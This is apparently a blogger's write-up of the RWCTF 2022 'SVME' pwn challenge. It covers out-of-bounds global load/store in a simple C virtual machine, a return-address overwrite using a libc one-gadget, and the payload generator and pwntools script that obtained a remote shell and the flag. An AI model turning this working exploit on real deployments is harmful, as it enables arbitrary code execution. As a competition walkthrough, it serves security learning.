RWCTF SVME Writeup

Published on Jan 22, 2022

I just find this note for RWCTF pwn challenge SVME. Its a simple but traditional pwn challenge, in my opinion.

I havent thought about to solve it until my leader talked to me to participant the RWCTF game. I havent checked the Dingtalk, and I did not know there exist an internal RWCTF but I registered the Real RWCTF game.

It's not that easy for me. Despite some experience with pwn.college and got a blue belt here. (And I planed to write a review for that interesting site! however lost all my notes with a hardware failure.). It took me nearly half of the day, one night and half the after noon, and made me feel that I would never take part in a CTF for a feeling of tired.

Next is the notes:

SVME challenge

The real world github source code program

https://github.com/parrt/simple-virtual-machine-C/

runs on a remote machine with docker deployed file.

FROM ubuntu:20.04

ENV DEBIAN_FRONTEND noninteractive

RUN apt-get update &&\
    apt-get install -y --no-install-recommends gcc g++ cmake make wget unzip socat

WORKDIR /app/

RUN wget --no-check-certificate https://github.com/parrt/simple-virtual-machine-C/archive/refs/heads/master.zip -O svme.zip &&\
    unzip svme.zip
COPY ./main.c /app/simple-virtual-machine-C-master/src/vmtest.c
RUN  cd simple-virtual-machine-C-master &&\
    cmake . &&\
    make &&\
    mv ./simple_virtual_machine_C /app/svme &&\
    cd /app/ &&\
    rm -rf ./simple-virtual-machine-C-master

RUN useradd --no-create-home -u 1000 user
COPY flag /

CMD ["socat", "tcp-l:1337,reuseaddr,fork,su=user", "exec:/app/svme"]

Trials

so … every time a different memory map. it's ok, every modern machine has ASRL.

reverland@reverland-RESCUER-R720-15IKBN:~/practice/tmp$ cat /proc/
Display all 386 possibilities? (y or n)
reverland@reverland-RESCUER-R720-15IKBN:~/practice/tmp$ cat /proc/672346/maps
55b2fa990000-55b2fa991000 r--p 00000000 00:5f 32265997                   /app/svme
55b2fa991000-55b2fa992000 r-xp 00001000 00:5f 32265997                   /app/svme
55b2fa992000-55b2fa993000 r--p 00002000 00:5f 32265997                   /app/svme
55b2fa993000-55b2fa994000 r--p 00002000 00:5f 32265997                   /app/svme
55b2fa994000-55b2fa995000 rw-p 00003000 00:5f 32265997                   /app/svme
7fe14dd0f000-7fe14dd34000 r--p 00000000 00:5f 18745099                   /usr/lib/x86_64-linux-gnu/libc-2.31.so
7fe14dd34000-7fe14deac000 r-xp 00025000 00:5f 18745099                   /usr/lib/x86_64-linux-gnu/libc-2.31.so
7fe14deac000-7fe14def6000 r--p 0019d000 00:5f 18745099                   /usr/lib/x86_64-linux-gnu/libc-2.31.so
7fe14def6000-7fe14def7000 ---p 001e7000 00:5f 18745099                   /usr/lib/x86_64-linux-gnu/libc-2.31.so
7fe14def7000-7fe14defa000 r--p 001e7000 00:5f 18745099                   /usr/lib/x86_64-linux-gnu/libc-2.31.so
7fe14defa000-7fe14defd000 rw-p 001ea000 00:5f 18745099                   /usr/lib/x86_64-linux-gnu/libc-2.31.so
7fe14defd000-7fe14df03000 rw-p 00000000 00:00 0
7fe14df06000-7fe14df07000 r--p 00000000 00:5f 18745077                   /usr/lib/x86_64-linux-gnu/ld-2.31.so
7fe14df07000-7fe14df2a000 r-xp 00001000 00:5f 18745077                   /usr/lib/x86_64-linux-gnu/ld-2.31.so
7fe14df2a000-7fe14df32000 r--p 00024000 00:5f 18745077                   /usr/lib/x86_64-linux-gnu/ld-2.31.so
7fe14df33000-7fe14df34000 r--p 0002c000 00:5f 18745077                   /usr/lib/x86_64-linux-gnu/ld-2.31.so
7fe14df34000-7fe14df35000 rw-p 0002d000 00:5f 18745077                   /usr/lib/x86_64-linux-gnu/ld-2.31.so
7fe14df35000-7fe14df36000 rw-p 00000000 00:00 0
7fff01b06000-7fff01b27000 rw-p 00000000 00:00 0                          [stack]
7fff01b77000-7fff01b7b000 r--p 00000000 00:00 0                          [vvar]
7fff01b7b000-7fff01b7d000 r-xp 00000000 00:00 0                          [vdso]
ffffffffff600000-ffffffffff601000 --xp 00000000 00:00 0                  [vsyscall]
reverland@reverland-RESCUER-R720-15IKBN:~/practice/tmp$ ps -aux|grep svme
reverla+  669372  0.0  0.3 831428 57056 pts/4    Sl+  20:50   0:00 docker run -p 1337:1337 svme
root      669446  0.0  0.0   7052  3624 ?        Ss   20:50   0:00 socat tcp-l:1337,reuseaddr,fork,su=user exec:/app/svme
reverla+  672364  0.0  0.0   7052   456 ?        S    22:25   0:00 socat tcp-l:1337,reuseaddr,fork,su=user exec:/app/svme
reverla+  672365  0.0  0.0   2364   524 ?        S    22:25   0:00 /app/svme
reverla+  672367  0.0  0.0  12124   676 pts/3    S+   22:25   0:00 grep --color=auto svme
reverland@reverland-RESCUER-R720-15IKBN:~/practice/tmp$ cat /proc/672365/maps
55d0cb53c000-55d0cb53d000 r--p 00000000 00:5f 32265997                   /app/svme
55d0cb53d000-55d0cb53e000 r-xp 00001000 00:5f 32265997                   /app/svme
55d0cb53e000-55d0cb53f000 r--p 00002000 00:5f 32265997                   /app/svme
55d0cb53f000-55d0cb540000 r--p 00002000 00:5f 32265997                   /app/svme
55d0cb540000-55d0cb541000 rw-p 00003000 00:5f 32265997                   /app/svme
7f723bde3000-7f723be08000 r--p 00000000 00:5f 18745099                   /usr/lib/x86_64-linux-gnu/libc-2.31.so
7f723be08000-7f723bf80000 r-xp 00025000 00:5f 18745099                   /usr/lib/x86_64-linux-gnu/libc-2.31.so
7f723bf80000-7f723bfca000 r--p 0019d000 00:5f 18745099                   /usr/lib/x86_64-linux-gnu/libc-2.31.so
7f723bfca000-7f723bfcb000 ---p 001e7000 00:5f 18745099                   /usr/lib/x86_64-linux-gnu/libc-2.31.so
7f723bfcb000-7f723bfce000 r--p 001e7000 00:5f 18745099                   /usr/lib/x86_64-linux-gnu/libc-2.31.so
7f723bfce000-7f723bfd1000 rw-p 001ea000 00:5f 18745099                   /usr/lib/x86_64-linux-gnu/libc-2.31.so
7f723bfd1000-7f723bfd7000 rw-p 00000000 00:00 0
7f723bfda000-7f723bfdb000 r--p 00000000 00:5f 18745077                   /usr/lib/x86_64-linux-gnu/ld-2.31.so
7f723bfdb000-7f723bffe000 r-xp 00001000 00:5f 18745077                   /usr/lib/x86_64-linux-gnu/ld-2.31.so
7f723bffe000-7f723c006000 r--p 00024000 00:5f 18745077                   /usr/lib/x86_64-linux-gnu/ld-2.31.so
7f723c007000-7f723c008000 r--p 0002c000 00:5f 18745077                   /usr/lib/x86_64-linux-gnu/ld-2.31.so
7f723c008000-7f723c009000 rw-p 0002d000 00:5f 18745077                   /usr/lib/x86_64-linux-gnu/ld-2.31.so
7f723c009000-7f723c00a000 rw-p 00000000 00:00 0
7ffe6acaf000-7ffe6acd0000 rw-p 00000000 00:00 0                          [stack]
7ffe6ad9b000-7ffe6ad9f000 r--p 00000000 00:00 0                          [vvar]
7ffe6ad9f000-7ffe6ada1000 r-xp 00000000 00:00 0                          [vdso]
ffffffffff600000-ffffffffff601000 --xp 00000000 00:00 0                  [vsyscall]
reverland@reverland-RESCUER-R720-15IKBN:~/practice/tmp$

I found i can use gload and gstore to leak and write memory after vm.globals (b3a0)

however, the vm is at (92a0)

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x555555559000
Size: 0x291

Allocated chunk | PREV_INUSE
Addr: 0x555555559290
Size: 0x2101

Allocated chunk | PREV_INUSE
Addr: 0x55555555b390
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x55555555b3b0
Size: 0x411

Top chunk | PREV_INUSE
Addr: 0x55555555b7c0
Size: 0x1e841

pwndbg> p vm
$20 = (VM *) 0x5555555592a0

arbitrary read/write, the global is not safe.

arbitrary execute, overwrite rsp

however, need shell in one roundtrip

one gadget to get shell

reverland@reverland-host:~/practice$ python3 exp.py
[+] Opening connection to 47.243.140.252 on port 1337: Done
[DEBUG] Sent 0x200 bytes:
    00000000  0b 00 00 00  c1 f7 ff ff  0b 00 00 00  c5 f7 ff ff  │····│····│····│····│
    00000010  0b 00 00 00  c0 f7 ff ff  09 00 00 00  28 00 00 00  │····│····│····│(···│
    00000020  02 00 00 00  0d 00 00 00  c4 f7 ff ff  02 00 00 00  │····│····│····│····│
    00000030  01 00 00 00  01 00 00 00  09 00 00 00  00 00 00 00  │····│····│····│····│
    00000040  09 00 00 00  00 00 00 00  0b 00 00 00  90 00 00 00  │····│····│····│····│
    00000050  09 00 00 00  b3 70 02 00  02 00 00 00  09 00 00 00  │····│·p··│····│····│
    00000060  81 6c 0e 00  01 00 00 00  0d 00 00 00  00 00 00 00  │·l··│····│····│····│
    00000070  0b 00 00 00  91 00 00 00  0d 00 00 00  01 00 00 00  │····│····│····│····│
    00000080  12 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  │····│····│····│····│
    00000090  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  │····│····│····│····│
    *
    00000200
[*] Switching to interactive mode
$ cat /flag
[DEBUG] Sent 0xa bytes:
    b'cat /flag\n'
[DEBUG] Received 0x47 bytes:
    b'rwctf{simple_vm_escape_helps_warming_up_your_real_world_hacking_skill}\n'
rwctf{simple_vm_escape_helps_warming_up_your_real_world_hacking_skill}
[*] Got EOF while reading in interactive

the c program to generate the payload

#include <stdio.h>
typedef enum {
NOOP    = 0,
IADD    = 1,   // int add
ISUB    = 2,
IMUL    = 3,
ILT     = 4,   // int less than
IEQ     = 5,   // int equal
BR      = 6,   // branch
BRT     = 7,   // branch if true
BRF     = 8,   // branch if true
ICONST  = 9,   // push constant integer
LOAD    = 10,  // load from local context
GLOAD   = 11,  // load from global memory
STORE   = 12,  // store in local context
GSTORE  = 13,  // store in global memory
PRINT   = 14,  // print stack top
POP     = 15,  // throw away top of stack
CALL    = 16,  // call function at address with nargs,nlocals
RET     = 17,  // return value from function
HALT    = 18
} VM_CODE;


int main() {
    int s[] = {
    // push code higher 4 bytes
    GLOAD, -(0x2100-4)/4,
    // push global higher 4 bytes
    GLOAD, -(0x2100/4)+5,
    // push code lower 4 bytes
    GLOAD, -0x2100/4,
    ICONST, 40,
    ISUB,
    // write lower 4 bytes of ret address into higher 4 bytes of global
    GSTORE, (-0x2100/4)+4,
    ISUB,
    IADD,
    IADD,
    // now globas become VM_EXEC's address
    //
    // ensure free not panic
    ICONST, 0,
    // ensure free not panic
    ICONST, 0,
    // back to begining of the stack
    // load libc_main_start+243 into stack
    GLOAD, 0x90,
    ICONST, 0x270b3,
    ISUB,
    ICONST, 0xe6c81,
    IADD,
    GSTORE, 0,

    GLOAD, 0x91,
    GSTORE, 1,

    HALT,
};
    for (int i=0;i<sizeof(s);i++)
        printf("%c", ((char *)s)[i]);
}

my last exploit

from pwn import *
import time
context.log_level = 'debug'

#p = gdb.debug("simple-virtual-machine-C/simple_virtual_machine_C")
#p = process("docker/svme-indocker")
p = remote("47.243.140.252", 1337)
#p = remote("localhost", 1337)
with open("tmp/input1", "rb") as f:
    s = f.read()
s += b'\x00' * (512-len(s))
p.send(s)
#time.sleep(10)
#p.send(b'\x00' * (512-len(s)))
p.interactive()

Last

many of the time I took is on io, not until I really deploy a local one to test every thing. IO is hard, even with pwntools.